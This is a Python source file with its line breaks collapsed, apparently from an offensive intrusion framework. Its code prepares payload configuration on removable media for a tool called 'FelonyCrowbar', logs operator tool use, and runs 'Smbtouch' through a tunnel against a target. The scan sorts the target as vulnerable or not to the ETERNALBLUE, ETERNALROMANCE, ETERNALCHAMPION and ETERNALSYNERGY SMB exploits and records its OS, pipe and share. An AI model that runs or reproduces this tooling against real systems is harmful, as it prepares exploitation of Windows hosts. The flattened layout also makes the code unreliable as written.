% item) lines.append("mac:%s\n" % line) if (extraInfo.has_key("ip")): line = "" for item in extraInfo["ip"]: if (len(line) == 0): line = item else: line = line + (",%s" % item) lines.append("ip:%s\n" % line) # TODO any other immediate configurations try: f = open(execProperties, "w") try: f.writelines(lines) finally: f.close() except: dsz.ui.Echo("* Failed to write %s" % execProperties, dsz.ERROR) return "" # remove a previous instance of the configured output configured = os.path.normpath("%s/data/%s.configured" % (dest, file)) try: os.remove(configured) except: pass payloadInfo = os.path.normpath("%s/data/config.final.xml" % dest) try: os.remove(payloadInfo) except: pass # copy over PCConfig.exe.... dsz.ui.Echo("Removable media has been configured.", dsz.GOOD) dsz.ui.Echo("") dsz.ui.Echo("Please take the removable media to a machine with access to") dsz.ui.Echo("FelonyCrowbar and execute") dsz.ui.Echo("\t%s/PcRemoteConfiguration.pl" % dest) dsz.ui.Echo("\t\tCommandLine: java -jar PcRemoteConfiguration.jar") dsz.ui.Echo("\t\t\tfrom the directory") dsz.ui.Echo("\t\tor Double-click on windows (and maybe linux)") dsz.ui.Echo( "Afterwards, please restore the removable media at the same location") while (not (dsz.ui.Prompt("Have you executed the file?") and os.path.exists(configured) and os.path.exists(payloadInfo))): dsz.ui.Echo("The configured files are not at:", dsz.WARNING) dsz.ui.Echo("\t%s" % configured, dsz.WARNING) dsz.ui.Echo("\t%s" % payloadInfo, dsz.WARNING) if (dsz.ui.Prompt("Would you like to abort?", False)): dsz.ui.Echo("Configuration cancelled", dsz.ERROR) return "" # save final configuration file finalFile = os.path.normpath("%s/%s.configured" % (path, file)) try: shutil.copy(configured, finalFile) shutil.copy(payloadInfo, "%s/config.final.xml" % path) # copy the FC database information (if found) fcXml = os.path.normpath("%s/data/fc.xml" % dest) if (os.path.exists(fcXml)): shutil.copy(fcXml, "%s/fc.xml" % path) shutil.move(dest, "%s_%s" % (dest, dsz.Timestamp())) except: dsz.ui.Echo("* Failed to copy configured files", dsz.ERROR) return "" return finalFile
def RecordToolUse(name, version, usage='', status='', comment='', location=''): if name == '': dsz.ui.Echo('* No name given -- cannot record tool use', dsz.ERROR) return False usedToolDir = 'UsedTools' fixedName = re.sub(' ', '_', name) fixedName = re.sub('\\\\', '_', fixedName) fixedName = re.sub('/', '_', fixedName) fixedName = re.sub(':', '_', fixedName) fixedName = re.sub('\\*', '_', fixedName) fixedName = re.sub('"', '_', fixedName) fixedName = re.sub('<', '_', fixedName) fixedName = re.sub('>', '_', fixedName) fixedName = re.sub('\\|', '_', fixedName) filename = '%s_%s.xml' % (fixedName, dsz.Timestamp()) try: logDir = GetLogsDirectory() except: dsz.ui.Echo('* Failed to get logs directory', dsz.ERROR) return False try: os.mkdir('%s/%s' % (logDir, usedToolDir)) except: pass xmlName = name xmlName = re.sub('&', '&', xmlName) xmlName = re.sub('<', '<', xmlName) xmlName = re.sub('>', '>', xmlName) xmlVersion = version xmlVersion = re.sub('&', '&', xmlVersion) xmlVersion = re.sub('<', '<', xmlVersion) xmlVersion = re.sub('>', '>', xmlVersion) xmlUsage = '' if len(usage) > 0: xmlUsage = usage xmlUsage = re.sub('&', '&', xmlUsage) xmlUsage = re.sub('<', '<', xmlUsage) xmlUsage = re.sub('>', '>', xmlUsage) xmlStatus = '' if len(status) > 0: xmlStatus = status xmlStatus = re.sub('&', '&', xmlStatus) xmlStatus = re.sub('<', '<', xmlStatus) xmlStatus = re.sub('>', '>', xmlStatus) xmlLocation = '' if len(location) > 0: xmlLocation = location xmlLocation = re.sub('&', '&', xmlLocation) xmlLocation = re.sub('<', '<', xmlLocation) xmlLocation = re.sub('>', '>', xmlLocation) xmlComment = '' if len(comment) > 0: xmlComment = comment xmlComment = re.sub('&', '&', xmlComment) xmlComment = re.sub('<', '<', xmlComment) xmlComment = re.sub('>', '>', xmlComment) try: f = open('%s/%s/%s' % (logDir, usedToolDir, filename), 'wb') try: f.write('\ufeff') f.write('<?xml version="1.0" ?>\n') f.write('<UsedTool>\n') f.write(' <Name>%s</Name>\n' % xmlName) f.write(' <Version>%s</Version>\n' % xmlVersion) if len(xmlUsage) > 0: f.write(' <Usage>%s</Usage>\n' % xmlUsage) if len(xmlStatus) > 0: f.write(' <ToolStatus>%s</ToolStatus>\n' % xmlStatus) if len(xmlLocation) > 0: f.write(' <ToolLocation>%s</ToolLocation>\n' % xmlLocation) if len(xmlComment) > 0: f.write(' <ToolComments>%s</ToolComments>\n' % xmlComment) f.write('</UsedTool>\n') finally: f.close() except: dsz.ui.Echo('* Failed to write tool use information', dsz.ERROR) return False return True
def execute_scan(self, verbose): redir_cmd = scan.gettunnel(self, self.target, 'tcp', self.port) PATH_TO_SMBTOUCH = scan.find_newest_touch(self, 'Smbtouch', 'exe') PATH_TO_SMBXML = scan.find_newest_touch(self, 'Smbtouch', 'xml') smbcmd = ops.cmd.getDszCommand('run', dszquiet=(not verbose)) smb_cmd_list = [] smb_cmd_list.append(('--InConfig %s' % PATH_TO_SMBXML)) smb_cmd_list.append(('--TargetIp %s' % '127.0.0.1')) smb_cmd_list.append(('--TargetPort %s' % redir_cmd.lplisten)) smb_cmd_list.append(('--NetworkTimeout %s' % self.timeout)) if (int(self.port) == 445): smb_cmd_list.append(('--Protocol %s' % 'SMB')) elif (int(self.port) == 139): smb_cmd_list.append(('--Protocol %s' % 'NBT')) smb_cmd_list.append(('--Credentials %s' % 'Anonymous')) outconfig = os.path.join( ops.LOGDIR, 'Logs', ('%s_%s_%s.xml' % (os.path.basename(PATH_TO_SMBTOUCH), self.target, dsz.Timestamp()))) smb_cmd_list.append(('--OutConfig %s' % outconfig)) smb_cmd_string = ((PATH_TO_SMBTOUCH + ' ') + ' '.join(smb_cmd_list)) smbcmd.command = ('cmd /C %s' % smb_cmd_string) smbcmd.arglist.append('-redirect') smbcmd.arglist.append( ('-directory %s' % os.path.join(ops.DSZDISKSDIR, 'lib', 'x86-Windows'))) smbcmd.prefixes.append('local') smbcmd.prefixes.append('log') smbobject = smbcmd.execute() ops.networking.redirect.stop_tunnel(dsz_cmd=redir_cmd) cmd_output = {} cmd_output['error'] = None screenlog = os.path.join(ops.PROJECTLOGDIR, smbobject.commandmetadata.screenlog) f = open(screenlog, 'r') screenlog_lines = f.readlines() f.close() vulnerable = [] not_vulnerable = [] not_supported = [] for line in screenlog_lines: re_out = re.search('Error 0x', line) if (re_out is not None): cmd_output['error'] = line.split('-')[(-1)].strip() re_out = re.search('ETERNAL', line) if (re_out is not None): line_split = line.split('-') exploit = line_split[0].strip() if (exploit == 'ETERNALBLUE'): exploit = 'ETEB' elif (exploit == 'ETERNALROMANCE'): exploit = 'ETRO' elif (exploit == 'ETERNALCHAMPION'): exploit = 'ETCH' elif (exploit == 'ETERNALSYNERGY'): exploit = 'ETSY' if ((re.search('FB', line) is not None) or (re.search('DANE', line) is not None)): vulnerable.append(exploit) elif (re.search('not supported', line) is not None): not_supported.append(exploit) else: not_vulnerable.append(exploit) self.vulnerable = ','.join(vulnerable) self.not_vulnerable = ','.join(not_vulnerable) self.not_supported = ','.join(not_supported) if (cmd_output['error'] is None): tree = ElementTree() tree.parse(outconfig) root = tree.getroot() outparams = root.find('{urn:trch}outputparameters').getchildren() for ele in outparams: try: cmd_output[ele.get('name')] = ele.find( '{urn:trch}value').text except: continue if ('Target' in cmd_output.keys()): self.os = cmd_output['Target'] if ('TargetOsArchitecture' in cmd_output.keys()): self.arch = cmd_output['TargetOsArchitecture'] if ('PipeName' in cmd_output.keys()): self.pipe = cmd_output['PipeName'] if ('ShareName' in cmd_output.keys()): self.share = cmd_output['ShareName'] if ('Credentials' in cmd_output.keys()): self.credentials = cmd_output['Credentials'] self.error = cmd_output['error'] self.timestamp = dsz.Timestamp() if ((cmd_output['error'] is None) or (not (cmd_output['error'] == 'ErrorConnectionTimedOut'))): self.success = True